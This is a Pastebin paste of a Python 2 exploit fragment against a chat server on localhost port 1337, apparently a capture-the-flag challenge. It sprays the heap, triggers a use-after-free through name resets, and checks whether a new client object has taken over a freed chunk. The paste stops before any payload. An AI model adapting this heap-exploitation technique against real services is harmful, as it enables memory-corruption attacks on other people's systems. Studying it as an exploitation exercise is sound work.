Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- server = ('127.0.0.1', 1337)
- print "[*] Spawning 3 clients for 'heap spraying'"
- clients = []
- for i in range(3):
- clients.append(ChatClient(server))
- # set client name to have length = 0x18 (same as server class ChatClient)
- clients[i].connect(username='A'*0x18)
- for i in range(3):
- # free client name without zeroing pointer (Uaf)
- clients[i].setname('B'*0x60)
- #allocate new ChatClient hopefully taking place of one of the names of prev clients
- confused_client = ChatClient(server)
- confused_client.connect(username='X'*0x30) # name len different than chunk(0x18)
- print "[*] Looking for type confusion"
- for i in range(3):
- client_name = clients[i].getname()[1]
- if client_name[0] == '\x1c':
- break
- print "[*] Client [%d] confused with string" % i
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement